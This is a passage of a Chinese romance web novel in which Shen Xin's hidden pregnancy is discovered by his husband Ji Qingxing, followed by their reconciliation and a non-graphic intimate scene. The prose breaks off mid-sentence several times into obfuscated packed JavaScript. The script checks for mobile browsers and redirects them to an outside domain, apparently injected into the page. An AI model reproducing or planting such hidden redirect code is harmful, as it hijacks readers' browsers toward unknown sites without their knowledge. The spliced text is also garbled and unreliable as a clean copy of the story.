[以前看您写的书,我觉得您要么是个文质彬彬的温柔绅士,要么就是个冷若冰霜的高岭之花。进入工作室以来一直没机会见您,今天终于跟您说上话了,我才发现我一直以为的不对。] 沈昕:? [您既不是文质彬彬的温柔绅士,也不是冷若冰霜的高岭之花,您……很可爱。] 沈昕:??? [非常可爱,而且是那种“一本正经的搞笑”的可爱。] 沈昕:…… [对不起,我太冒昧了,好不容易跟您聊一次,实在忍不住了。] 沈昕:………… 他只能说没关系。 但怎么可能没关系啊,什么叫一本正经的搞笑的那种可爱? 往前翻聊天记录,试图寻找究竟是哪一句话让设计师得出了这样的结论,心里有点愤愤,腮帮子不由自主地鼓起来。 翻得过于认真,以至于纪轻行过来了他都没发现。 直到Q版帅男的原型坐在他身边,双臂一左一右圈住他,倾身上前,几乎跟他脸贴脸,他才吓得“啊”一声把手机护在胸前。 “你干嘛?” “这是我要问你的话。”纪轻行道,“小昕昕,跟谁聊天聊得这么high?还频频看我,怕你老公我发现是吗?不好意思,我还真就发现了呢。来,说说看,让我听听你打算怎么糊弄我。” 沈昕:……………… 弄巧成拙,这上哪儿说理去。 纪轻行把话说到了这个份儿上,糊弄敷衍绝对不行。 他只好先挑重点答:“我没有聊你想象的那种天。” “哦,那你在聊什么天?”纪轻行慢慢悠悠又咬牙切齿,“跟谁聊呢?不会是你口中又浪漫又奔放又富有艺术气息的某个香国人吧?” “哈?”沈昕一愣,曾经斗嘴的时候似乎是提过这么一句。 “你真信了?” “你亲口说的,我为什么不信?” “我……”沈昕一脸无奈。 纪轻行却认真了:“所以你就是在糊弄我,时时刻刻都在糊弄我,你为什么要糊弄我?我究竟哪里对不起你,你总要糊弄我?” 沈昕一怔。 又心酸又卑微的怨气,一点儿也不像牛逼轰轰的纪总会说的话。 却是他压在心底的话。 自己瞒着他的事确实不少。 沈昕有些愧疚。 他低头想了想,说:“我刚才是在跟客服聊天。” “客服?” “嗯,之前说了要送你礼物,我已经想好了,刚才是在跟店家客服讨论礼物的细节,至于礼物是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“因为你表面上看似拖着,但实际上非常重视我以及我们的关系,你不允许这件事有任何一点点差错,你希望它完美……没错,你在努力寻找令它完美的答案,而非抗拒我,你对我们的关系是积极的。你说我们俩都值得被坚定选择,你……非常认可我。很多人都认可我,我早已经习惯了,但你的认可是特别的,它让我很开心,很骄傲,让我觉得浑身轻松,阳光很灿烂,生活很美好,让我无论面对什么事都会很积极,都充满动力。而且,身心宅惯了的你却能接受我的闯入,说明我对你也是特别的。” 两人鼻尖几乎挨着,这样近的距离下说这种话,沈昕的心脏怦怦直跳,脸也发烫了。 他不想被情绪带着走,故意说:“现在是晚上,哪里有阳光。” 纪轻行眼睛一眯:“你呀,最大的缺点就是不解风情。好歹你也是搞创作的,就不能浪漫一点吗?” 沈昕下意识问:“怎么浪漫?” 纪轻行流里流气地笑了,说:“就是浪、漫嘛。” “浪”字特别加重,尾音拖得很长,他跪上沙发,沈昕什么都看见了。 继续翻白眼:“你怎么回事,你现在只是个假老公你知道吗?我刚才说了那么多,难道都白说了?” “我知道啊,所以说让你浪漫点儿,试试身心分离如何?” “哈?” “咱俩已经有共识了,单纯放松一下又有什么不可以呢?”纪轻行理所当然,“而且又不是没有过。之前咱俩挺合拍的,那么高级的体验,我不相信你不想再来,我不相信那次以后你从来没想过我。何况你也说了,想弄清楚究竟什么样的感觉才是真爱,不妨告诉你,很多真爱都是做出来的,说不定咱俩做着做着,你就悟了。有时候啊,让你这里歇一歇。” 纪轻行伸出食指,敲了敲沈昕的脑袋。 “它太累了,一累就容易糊涂,容易钻牛角尖,容易把简单的问题复杂化。” 接着,更加流里流气地说—— “小昕昕,适当用用你漂亮的下半身来思考,人生会更加美妙哦。” 沈昕:…… 沈昕:………… 沈昕:……………… 他扬起右手,一甩,pia—— 清脆的巴掌落在了纪轻行脸上。 40.山崩 突如其来的一巴掌扇得纪轻行有点懵,沈昕乘势追击,按着肩膀把人从沙发上推下去,一路推往门口。 正愁不知道怎么撵人呢,这下有理由了。 “昕昕,你……哎,你别推我,我……” “你滚蛋吧!”沈昕愤愤地说,“你真是一点儿都不值得同情!也一点儿都不能给好脸!” “什么?你同情我?”纪轻行很会挑重点,“同情我是不是就代表心疼我啊?心疼我是不是就代表……” “你省省吧!赶紧滚!” “行行行,我滚,但是我、我的衣服……” 两人到了门口,纪轻行向前伸手。 沈昕打开门,把人推到公共走廊上,迅速拿了外套,揉成一团扔出去。 纪轻行躬身抱住,再上前来,沈昕立刻关门。 纪轻行一手按住门框,一手抵住门板:“别急别急,还有个事问你。” 表情还算认真,沈昕蹙眉道:“什么事?” 纪轻行一笑:“礼物什么时候给我啊?” 沈昕的眉头顿时皱得更深,带着被骗了的气愤,继续双手大力关门。 “哎哎哎!”纪轻行也双手挡门,“真有事真有事!这次绝对是真的!否则你再扇我!” 沈昕心说我干嘛要奖励你。 现在想来真是后悔,刚才不应该扇脸,应该直接把他的十八公分拧断。 反正孩子已经有了,十八公分也没用了。 他冷冷地看着纪轻行。 纪轻行嬉皮笑脸道:“后天王亮约我吃饭,你跟我一起去好不好?” “不好。”沈昕秒答。 纪轻行道:“你再想想嘛。” “不用想,想一万遍也是一样。” 去MBA班上课是没办法,其余时候,他才不愿意跟纪轻行装恩爱夫夫。 结果纪轻行说:“那就想一万零一遍,说不定就……” “嘭——” 沈昕把门关上了。 转身靠在门板上,房间里空空如也、寂静无声,刚才的喧闹却仿佛吹至极限的气球,稍稍再用一点力就会爆炸。 怎么仅仅一个纪轻行就有这么大的能量呢? 今天这一天感觉好长啊。 发生了好多好多事情,迈出了好多好多以前没迈过的步子。 回想那些细节,他决定,再迈出更加重要的一步。 纪轻行后天约了王亮吃饭,相当于没时间骚扰他,他就把那重要的一步也定在后天吧。 - 中午,纪轻行坐在餐厅看手机。 看的是前天沉心的线上活动结束后上了热搜的内容。 其实当时就看到了,明晃晃地挂在热搜上,想不注意都不行。 当时没点进去,毕竟沈昕就在旁边,但有一条的标题着实吓了他一跳。 “沉心英年早婚” 他下巴都快掉了。 沉老师居然……结婚了啊? 之前沉心说过,正处于“即将陷入一段被动关系但已经打算回头”的阶段,他还劝他一定要回头一定不能被动一定要好好写书一定会有更大的进步来着,结果这才过了多久,就结婚了? 是跟那个令他被动的人,还是又遇到了别人? 是因为爱情,还是因为别的? 他对天发誓,绝非当着沈昕一套背着沈昕又一套,他只是非常非常好奇,也并非好奇他人隐私,而是好奇……沉心看起来明明应该不会,但怎么这么突然就结婚了,是不是发生了什么。 他问心无愧,所以,在两天之后,在这个等人的间隙,的确无事可做,才又把那个词条找了出来。 来来回回看过,没什么有用的,只是沉心在聊天时透露了一句罢了。 看这个词条的时候,顺带着会看到一些其他内容,他知道了沉心的写作计划,也知道了沉心对他这个榜一大哥突然消失所做的评价—— “不同的人生阶段有不同的重点。” “感谢、祝福。” “期待重逢的一天。” 豁达大气,堪称完美。 所以前阵子又为什么给自己留“我讨厌你”四个字? 话又说回来,如果没有发生后来的那些事,如果他现在还在读沉心的书,和沉心保持着良好的关系,面对这些活动,他得多快乐啊。 而且如果没有发生后来的事,现在他们就还是合作伙伴,项目会继续推进,沉心会在他的运营下越来越好,说不定他们已经见面了。 但这些都是如果,是再也不会发生的。 他不后悔,仅仅是有一些感慨。 感慨人生的偶然与必定。 沉心是偶然,沈昕才是必定。 唔,沈昕之前说会参加沉心的线上活动,是诈他的,还是真的? 如果是真的,听沉心聊到他的时候,沈昕是什么心情? 前天晚上,沈昕似乎没有异样,甚至对他有点儿……好了呢。 所以到底是参加了还是没参加? 正纠结着,王亮风风火火地走过来,不好意思地说:“抱歉啊纪总,让你久等了,刚把我媳妇儿送到医院。本来说是让丈人送她,但老人家刚来,路况不熟,不太敢开车。” 纪轻行收起胡思乱想,示意王亮坐:“不客气,我也才来,嫂子怎么去医院了?生病了?” 王亮笑道:“没生病,产检。” “嚯,二胎。”纪轻行道,“恭喜啊,我说你怎么把一大家子都带过来了。” “准备在这边生,她想让她爸妈在跟前,二老也疼女儿,就一起过来了。”王亮一脸幸福。 两人点了菜边吃边聊,看似随便说说,但不经意间就涉及了生意,商场中人就是这样。 一顿饭吃了两个多小时,离开的时候,王亮要去医院接老婆,结果车突然坏了,纪轻行自然提出帮他接送一趟。 两人挺熟,王亮也不多客气,坐上纪轻行的车,给他指路。 到了医院门口,王亮说:“这儿离咱们学校挺近。” 纪轻行没有多少“咱们学校”的集体荣誉感,他想的是,这儿离沈昕住的地方挺近。 之前王亮就介绍了,这是个华人开的私立医院,华人患者很多,想来沈昕留学的五年多里,偶尔不舒服了,也是来这里看病。 沈昕还有水土病,一到这边就会吐,纪轻行忍不住又想,这家医院是不是不太行?好几年了都没把沈昕的病看好,他要不要提醒提醒王亮,生孩子是大事,医院不行可不得了。 这时王亮牵着他老婆从医院出来,走到车跟前,扶着他老婆进了后座,自己来坐副驾。 “嫂子好。”纪轻行向后偏头,礼礼貌貌地说。 “纪总你好!今天麻烦你啦!” “举手之劳,嫂子太客气了。” 纪轻行发动车子,先送二人回家。 路上夫妻俩聊产检的情况和家里的事情,老夫老妻自自然然的感觉令纪轻行很羡慕。 他和沈昕什么时候也能这样呢? 王亮的老婆挺健谈,跟丈夫说完,也没把纪轻行落下,热情地问道:“纪总,听王亮说你跟他上一个班啊?” “是啊。”纪轻行熟练地社交起来,“不光我,还有我丈夫,嫂子你想来也可以嘛。” 王亮的老婆又说:“我还听他说你们家沈少以前就在这里留学,对这里很熟呐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799116|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给我们介绍介绍这边好吃的店子嘛,来了这阵子,一样好吃的都没吃到!” “嗐,快别提了,这边是真没好吃的,我俩也是天天吃我公司厨师做的饭呢。我回去问问他吧,有好的第一时间告诉你。” “那谢谢啊!”王亮的老婆顿了顿,趴上副驾驶座的椅背,有点儿神秘地看着纪轻行,“纪总,冒昧问一下哈,你和你们家沈少是也打算在这边生,还是过阵子就回去了?” 话音落,纪轻行一愣。 或者说不是愣,而是懵、恍惚、疑惑。 就像曾经沈昕在他们亲密之后突然走掉还说要离婚时,像在爷爷的生日宴上听到关于沈昕的事时,突然又有了那种失忆、穿越,别人什么都知道而他什么都不知道且不敢表现出不知道的诡异感。 又像在做梦。 明明王亮的老婆就在眼前,离得这么近,她刚刚说的所有话都那么真实清晰,但这一句却…… 极其朦胧,好像隔着很远,好像听不清楚。 王亮的老婆一动不动地看着他,等着他的回答,再不说点儿什么事情就要穿了,事情一穿他必定大大丢人,以至于他的嘴战胜了思想,自发自动地说:“哦,我们……还没有考虑好。” “什么?”因为太奇怪了,王亮的生意人高情商一时没了,下意识问,“你和沈少也有孩子了?刚才怎么没听你说?” 纪轻行心里“咯噔”一下,冷汗瞬间爬了满身。 王亮的老婆却恨铁不成钢地拍了下丈夫的肩膀:“你懂什么呀,纪总不说是有道理的,怀孕头三个月不能主动公布,要等三个月后,胎儿稳定了再说,但像我这样都在医院碰上了才问的就没关系。” “哦……”王亮恍然大悟。 纪轻行也恍然……悟了一点。 他试探道:“嫂子,你在医院碰上沈昕了?” “嗯呐。”王亮的老婆笑着点头,“他正好在我前面一个,从诊室出来的时候打了个照面,他不认识我,其实我也算不上认识他,就是看了你们上的那个班的合影,王亮跟我说过里面都有谁,我才知道的。主要是因为纪总你和你们家沈少年轻,又帅得特别突出,我才记住了,搁别人我也记不住,哈哈哈。” “行了行了。”王亮无奈道,“把你那花痴脑收一收。” “哎呦,你自己长得不行,还管我说别人帅,那人家就是帅嘛。”王亮的老婆秀眉一挑,“纪总,之前说是不认识,但现在咱们就算认识了,异国他乡的,咱们两家又都要生小孩,平时多交流哈。俩孩子也没差几个月,以后出生了还可以当个玩伴,多好。你和沈少尽快考虑吧,别看现在月份小,日子过得快着嘞,就怕临到跟前了措手不及。如果考虑好了在这边生,办手续什么的你就找王亮帮你,他办过一遍,熟悉得很。” 滔滔不绝,听在纪轻行耳朵里不是热情,而是惊悚。 他嘴上“嗯嗯好好谢谢没问题”,看似正常平静,实际上心脏快炸了。 完全是凭着超级强大的定力,才没有直接把车开到海里。 ……王亮住的地方怎么那么远! 好不容易送到,王亮夫妻又好客地请他进屋坐坐,还让他把沈昕也叫来。 天杀的,坐什么坐,现在是坐的时候吗? 现在在别人面前勉强保持平静已经是他的极限了,真见了沈昕,他不确定他会做出什么。 礼貌地拒绝后,看着王亮夫妻走进家门,确定不会有人看到他失态的样子,这才闭上眼睛,脱力地向后靠上椅背。 然而只是一瞬。 下一瞬,他猛地睁开眼睛,满眼聚起锐利的光芒,双手攥紧方向盘,唇线一抿,发动车子,以最高限速奔驰向沈昕。 41.心有灵犀 只剩下他一个人。 无需控制情绪,无需维持体面,纪轻行放任想法和心情疯狂激荡,他一点儿也不怀疑王亮的老婆认错人或想岔了,因为过往的日子里有太多蛛丝马迹…… 不,不能叫蛛丝马迹,那些证据简直太鲜明太有力! 什么咽炎水土病,分明就是孕吐! 突然不吃螃蟹,突然不喝咖啡,改喝牛奶,而且还要热的。 甚至连突然不穿他的衣服,改口说不喜欢他的香水恐怕都是为了…… 帝国麝香。 麝、香。 香水里那一点点能有什么影响啊,他不过随便说说,沈昕却当真了,如此在意,如此重视,却…… 不告诉他。 这么长时间,这么多机会,偏偏就是不告诉他。 纪轻行双手攥紧,把油门踩得更深,开车呼啸着穿过街巷。 一路到公寓楼下,一路跑进大厅,电梯门刚打开一点他就上手扒拉侧身挤进去,到了以后也同样第一时间侧身挤出来,继续一路跑到沈昕房门口。 啪啪啪啪地拍门。 咚咚咚咚地戳门铃。 只恨自己没有神力,如果能直接把门拆下来就好了。 不多时门开了。 并非大开,而是开了窄窄的一条。 沈昕谨慎地探头出来,看到是纪轻行时一愣。 这个动静,他还以为是醉汉或者神经病走错了呢。 “你……” 纪轻行猛地把门往外一拉,另一只手攥住沈昕手腕,推着人进屋,接着大力带上门,按住沈昕的肩。 沈昕茫然而紧张:“你、你怎么了?” 纪轻行吸了口气,嘴唇张开,然后发抖。 完了,他说不出话来,他不知道该说什么,刚才一路上他想了很多,他心里憋着凶猛的火,可是真正见到了沈昕,他的火就突然没了。 他突然变得胆小、软弱,莫名其妙地什么都不敢说了。 沈昕更加莫名其妙:“纪轻行,你到底怎么了?你今天……跟王亮吃饭去了对吧?你们……发生了什么事吗?” 对,没错,王亮。 以及王亮的老婆。 王亮的老婆看见了。 没错,绝对没错。 纪轻行渐渐镇定。 他吸了口气,说:“你今天是不是去医院了?就附近那个华人开的医院。” 这下轮到沈昕不淡定了。 瞬间的惶恐躲不过纪轻行的眼睛,纪轻行立刻再问:“为什么去医院?你生病了吗?” 他还是想听沈昕说。 他不想直接戳穿,他想沈昕自己坦白。 他想沈昕信任他。 “你……怎么知道我去医院了?”沈昕小心翼翼地试探。 这样的试探令纪轻行心酸。 他说:“王亮他老婆也去医院了,她看见你了,她看过咱们的照片,知道你长什么样。” 沈昕蹙眉。 纪轻行再下一城:“王亮他老婆怀孕了,去做产检。” 沈昕:! 这下相当于把什么都说了。 二人对视,纪轻行眉目之间蕴着极其复杂的情绪,沉默许久,非常委屈地问:“昕昕,你为什么不告诉我呢?” 沈昕垂头。 他不知道该怎么回答。 他看着地面,看着纪轻行穿着皮鞋的双脚,感受着按在自己双肩的力量。 半晌问道:“我没告诉你,你不高兴?” “我当然不高兴。”纪轻行毫不否认,“我是你老公啊,我们、我们有了孩子,有了自己的宝宝,我们从单身变成合法夫夫,又变成一家三口,有了一辈子的血脉联系,可你却不告诉我。我什么都不知道,如果不是今天的巧合……我怎么能高兴?你说,我怎么会高兴?而且、而且……” 纪轻行吸了口气,按着沈昕双肩的力道更大了。 “我突然发现,比起我自己不高兴,我更……心疼你。我不知道你是什么知道的,不知道你知道的当时,以及知道以后的这些日子,一个人的时候,面对我的时候,一直不肯告诉我的时候,你又是什么心情?你是因为这个才跑来香国的吗?你……是不是也曾想过不要这个孩子?是不是曾经痛苦自己为什么要承受这些?尤其为什么……要因为我而承受这些?你是不是害怕过怀孕生孩子的难处与危险,也害怕过做流产的风险,无论身体上的还是心理上的,你一定害怕过对不对?因为你看见过梁瑛的意外,了解过他的悲惨,就算没有他,当这件事情发生了的时候,你也必然会不由自主地想很多,因为这些苦恼,睡不着觉、吃不下饭、集中不了注意力,是不是?你一定曾经处于两难,曾经幻想如果时间能倒流,什么都没发生就好了,对吧?” “你为什么不告诉我呢?就算我……无法真正帮你分担,但我至少可以听你倾诉,可以供你发泄,至少可以……逗你开心,陪你打发时间,我至少是……有一点点用的,你为什么一定要……一个人呢?” 啪嗒—— 清亮的掉落声打断了纪轻行,他低头一看,自己的皮鞋上落了一滴小小的圆形水渍,紧接着,更多的泪珠如线般落下,沈昕低着头抿着嘴唇,肩膀不停地发抖。 那些泪珠涌进了纪轻行心里。 胸口又疼又闷,他一把抱住沈昕,紧紧地抱着,手托着沈昕脑后,侧脸紧贴着沈昕的头发,他的眼眶也红了。 怀里的身体抖得更加厉害,强忍也忍不住,终于开始哽咽,也终于…… 主动伸出双臂环住他的脊背,用力靠着他的胸膛,抓紧他的衣裳。 纪轻行躬身,从膝弯处打横抱起沈昕,一路抱进卧室放在床上,俯身上去亲吻。 他亲着沈昕的眼泪,从眼睛亲到鼻尖,亲到脸颊、下巴,一边脱掉外套,解开领口。 沈昕双手勾住纪轻行的脖子,和他滚在一起。 冬日午后,温暖的阳光照在厚厚的窗帘上,卧室里慵懒而肆意。 情到浓时,不能自已。 只是心照不宣地顾及着生命初期的小家伙,除了最后一步,他们几乎做尽了所有亲密。 不辨时间,不辨缘由,只有眼前的人和强烈的体感在持续。 …… 卧室里比先前暗了,不特别做什么的时候,安静得仿佛海上孤岛。 柔软的床像层层云朵,又像平稳航行的大船。 自己掌舵,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809170|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的地,但有身边的人,无论停在哪里都可以。 沈昕躺在纪轻行臂弯,鸦羽般的湿润长睫一扇一扇。 他想起了上次。 怀上孩子的那次,他们也做了许多,做得非常激烈,却与今天截然不同。 那次之后,他在心里为他俩划了一道巨大的鸿沟,但今天,鸿沟…… 变成了浅浅的溪流。 沈昕抿了抿唇。 其实,他依旧有很多问题。 究竟什么才是真爱? 纪轻行对他是真爱吗? 他对纪轻行呢?是爱,还是好感和习惯? 哪种感情更持久? 纪轻行对“沉心”的心思究竟是怎样的?那么深的感情、那么多的付出,为什么能一朝斩断? 是否代表着有一天,纪轻行对现实中的他也可以说断就断? …… 这些问题一个都没能解决。 但是不久前,当纪轻行说中了他所有细腻复杂心思的时候,当他掉下眼泪,抱住纪轻行的时候,他突然…… 不想解决了。 感性取得了胜利,他就这样沉沦,陷在这样的怀抱里,根本没有力气推开。 纪轻行说中了他想到的一切。 不多不少,一一对应。 以前他就能做到,但那至少还是通过已有的文字进行解读;而现在,他不需要任何条件,轻而易举地穿过伪装与防线,将自己的内心遍览,甚至连自己都尚未清楚分明的细节,也早已经被他看透。 是啊,像他这样的人,想拿捏自己非常容易,但他没有。 他把自己放在平等的位置上,想与自己一同体验各种轻松、快乐与幸福。 只是偶尔亦想做“老公”,骄傲地给予呵护。 沈昕再次抿了抿唇,往纪轻行怀里靠紧。 第一次明确地感受到,这样的姿势很舒服。 眼底落下了一片温柔的情意,余光过处,床角、地上,散落着两人的衣服。 他的手指在纪轻行的胸膛上微微用力,说:“你下回不许穿着外面的衣服上床,尤其不能穿着外面的鞋进屋。” “我也不想啊,这不是箭在弦上不得不发嘛。”纪轻行懒懒地说,“就今天这情况,我要是还慢慢悠悠地换衣服换鞋,再洗个澡吹个头发抹个香香,黄花菜早凉了,你说是不是?” 沈昕心里说的确,嘴上却不愿迎合,只哼了一声。 纪轻行笑了,贴在他耳边故意问:“听你这意思,可以有下次啊?” 沈昕不说话。 纪轻行便说:“下次倒是可以咱俩一起慢慢悠悠地换衣服换鞋洗澡吹头发抹香香,有仪式感一点儿,怎么样?” 沈昕还是不说话。 径自腹诽纪轻行为什么是这种货色,而自己为什么又偏偏……这种货色。 纪轻行继续笑。 一开始仍是玩笑的笑,但渐渐的,笑里有了感慨的意味。 他翻身把沈昕抱住,认真亲了亲唇,大手拢在沈昕头顶。 “我喜欢你,昕昕。” 他的眼里流淌着深邃的情感。 “我很开心。我希望跟我在一起,你也会开心。” 42.进度 沈昕还是不想让他这么轻易就得逞,加上有点儿好面子,便嘟囔道:“谁跟你在一起了。” “嚯。”纪轻行语气夸张,手掌搭上沈昕的肚子,“孩子都在这儿了,还说没在一起?” 纪轻行的手掌宽大而温暖,令人感觉很舒服,很有安全感。 沈昕叹了口气。 真心话不由自主地说出—— “其实,我决定留下孩子,的确跟你没关系。” 听了这话,纪轻行并没有太大的反应,好像沈昕这样想是正常的。他顿了顿,最后说:“当时没关系,不代表现在也没有。” 又给他说中了。 被人说中心思有时会觉得感动,但有时又会觉得被看光了,很被动。 沈昕鼓了鼓腮帮子,不忿道:“你别太自信了。” 纪轻行“哈”一声笑了,爽朗地说:“自信多好,自信的人才有老婆。” 沈昕翻了个白眼:“我不是你老婆,我是你丈夫。” 说着一愣,感觉自己被绕了进去。 与此同时,纪轻行听完“我不是你老婆”那句就迫不及待地说:“好好好,你不是我老婆,我是你老婆。” 两人的话叠在一起,又各自清晰,说完面面相觑,愣了一瞬后,心照不宣地同时笑出来。 纪轻行抱着沈昕,又有滚作一团之势,沈昕此时冷静了许多,双手推开他的胸膛,说:“不要了,我有点儿累了。” 纪轻行自然不强迫他,重新躺好,将人搂在怀里,问:“有没有不舒服?” 沈昕摇了摇头。 纪轻行再问:“今天去医院,医生都说什么了?” “建了档,确定了后面的产检日期。”沈昕开始回想,这么一闹,上午的事情简直像是上个世纪发生的,“还做了详细的体检,孩子……挺好的。” “你呢?” “我也挺好的,就是孕期需要补充一些东西,已经开了药。” “等下给我看看,医嘱也给我,我帮你记,以后产检咱们一块儿去。” 沈昕的手缓缓收成拳,淡而认真地“嗯”了一声。 纪轻行想了想,说:“三个多月了,再过半年,咱俩就当爸爸了,有点儿没想到。” 沈昕问:“你觉得太快了吗?” “客观上讲当然快,咱俩结婚才多久,结婚以后又一直……而且没有专门备孕,当然也会觉得突然。最关键的是,只属于我们的二人世界太短了。不过无论如何,有了孩子我很开心,很期待它出生,以及它出生以后,咱们一家人的新生活。” 一家人的新生活。 这句话说到了沈昕的心坎上。 他觉得胸口有很活泼的因子在跳跃。 知道了家里的情况以后,心里总是阴云密布,此时此刻,终于又久违地有了明朗感。 他不由自主地微笑:“我认为二人世界是指一种感觉,跟有没有孩子关系不大。” “哦?”纪轻行思考片刻,直接一个打挺坐了起来,浑身散发着快乐的气息。 “你说得对,就是这样,或者说,没孩子、有孩子、养孩子是我们感情的不同阶段,有了这些不同的阶段,我们的感情会更加丰富细腻,比起一成不变,这好多了。” 他回头看了沈昕一眼,脸上的幸福前所未有,毫不遮掩。 “昕昕,我想告诉所有人,我们有孩子了!我的家人,朋友,公司的员工,合作伙伴,甚至竞争对手,还有那些我不认识的人,我恨不得他们现在立刻马上知道!我要发朋友圈,天天发!我要疯狂秀恩爱,以后还要疯狂晒孩子!” 一副病入膏肓诗兴大发,站在海岸边挥舞双手和海浪激情对话的架势。 沈昕无奈:“你真这样,别人会烦死你的。” “那我不管。”纪轻行任性地说。 “怎么我就不像你这样呢?” “因为你跟我性格不同。” 纪轻行这下严肃了:“爱情、婚姻、家庭,对你来说其实是可有可无的,真地无了也就是那回事,但如果有,就一定要最好的。可我不是这样,我……看着吊儿郎当,实际却是从内心深处渴望着这些,如果没有,我会……很难受。所以昕昕,你对我的意义比我对你更加重要。” 沈昕沉默。 纪轻行说得很对。 或许是天生性格使然,或许是因为他已经找到了真正热爱,足以安放灵魂的写作,即使这辈子再无其他也不会觉得孤独,所以对别的才不强求。 反观纪轻行,本就是充满征服欲的性格,好胜,什么都想要,何况曾经跟沉心聊天的时候,他也说过“尚未找到真正热爱的事”。 也许与自己的感情就是他的热爱? 纪轻行把他们两个人分析得非常透彻,那他也一定能感受到,至少在现在,自己对他的感情不如他对自己的深和执着。 沈昕有些愧疚。 又想到工作室设计师说过的话,他忍不住问:“纪轻行,在你眼里,我是个怎样的人?” 纪轻行秒答:“淡而热烈,静而活泼,可爱温暖,常在我心,难舍难弃。” 接着礼尚往来:“那么在你眼里,我又是个怎样的人呢?” 沈昕想了想,尝试道:“像忽然而来的一阵风,忽然降落的一场雨,我避犹不及,亦无处可避,就站在那风雨里,渐渐地发现,其实未带雨具也没什么,因为风雨虽然带来了慌张和狼狈,但停歇之后,更有在其他时候其他地方都找不到的,难得的美丽。” 纪轻行也沉默了。 他坐在床上,背对着沈昕,过了好半晌突然笑起来,用一贯轻松玩笑的语气说:“干嘛搞得这么文艺又这么复杂啊,直接说我是你老公就行了嘛。哎我说,我就说一句啊,你千万别生气,我只是很好奇,你不会也看沉心的书吧?你说话的方式突然间……很像他。” 沈昕的冷汗“唰”地冒了出来,从腰到后脑勺瞬间绷直。 事已至此,捡日不如撞日,他突然有了一股冲动,便也坐起来,喉头吞咽了一下,尽量平静地说:“因为我就是沉心。” 话音落,心脏怦怦狂跳。 卧室里寂静了一瞬,却仿佛一辈子那么漫长。 然后,纪轻行转过身来,皱着眉,眼里全是匪夷所思,非常夸张地“哈”了一声。 明晃晃的疑问语气,就像把全世界的问号都写在了身上。 沈昕浑身都凉了。 他别开视线,鼓了鼓腮帮子,有点低落地说:“我开玩笑的。” “噢。” 没有一点点怀疑。 纪轻行就这样接受了。 沈昕又开始纠结、较真,此时感性和冲动退去了许多,看着眼前的人,不免生出一点点…… 悔意。 类似于“凑活过吧还能离咋滴”那种毫无意义的悔意。 这时纪轻行又问:“所以你到底是不是也看沉心的书?咱俩不会是同好吧?” 沈昕:…… 懒得理他,沈昕穿上衣服下床,去书桌前拿笔记本电脑。 也不知道现在几点了,今天的稿子只写了一点点,哎,谈恋爱结婚真是对事业的巨大阻碍。 这下纪轻行急了,长腿一跨,下床跟过来。 “昕昕,生气了?我错了我错了我不该提,我嘴贱!脑子也贱!我没有别的意思,绝对没有,你别多想好不好?我保证以后不提了,一句,一个字,一丁点儿都不提了!你打我,打我出出气,来!” 把脸凑到沈昕眼前。 沈昕瞪了他一眼,没再动。 纪轻行就帮他动,拉起他的手往自己脸上扇,嘴里还不停下:“我错了我错了,真错了,不该哪壶不开提哪壶,不该胡说八道……” 沈昕皱着眉把手往回缩。 真是的,就用这么点儿劲,不知道是打人还是摸人,他对他自己还怪好的。 沈昕抱着笔记本电脑往外走,说:“我没生气,你别演了。” “真没生气?真的?那你现在……要干什么?” “有事。”纪轻行在这儿,他多半没法专心,“你回去吧。” “啊?”纪轻行一脸伤感,“你又……刚用完我就一脚踢开啊?这也太快了吧……说起来,我是不是可以把楼下的房子退了?咱俩应该可以一起住了吧?” 他像个苍蝇似的,沈昕避犹不及,说:“不可以。” “哈?”纪轻行更加浮夸更加伤感,“为什么啊?” 沈昕说:“我并不想时时刻刻都看到你。” “那以前咱俩还一起住呢,现在比以前好多了,怎么反而……” “以前房子大。”沈昕冷冰冰地说,“就算住一起也可以不碰面。” “哈?”纪轻行的尾音简直要拐到天上,“你不是吧?你认真的啊?你、你这也太渣了吧?得亏咱俩之中能生孩子的是你,要是你不能生我能生,像现在这样,我被你搞大了肚子,又被你招之则来挥之即去的,我、我简直就要去死了!” 沈昕:………… 这是什么奇怪的比方? 不过,似乎也确实让他,稍微反省了一下下。 他盘腿坐在沙发上,抱着笔记本电脑,沉默了一会儿,说:“我现在需要一些个人空间,如果你不想走,就进屋呆着。” 纪轻行幽幽地说:“必须进屋,跟你一个屋都不行?” “也不是不行,就是……你别总看我,那样会让我分心。” 他从来没有在别人的眼皮底下写作过。 如此说来,他又觉得他为了纪轻行已经改变、退让了许多。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818879|152435||http|test|mini|href|location''.split(''|''),0,{})); () { 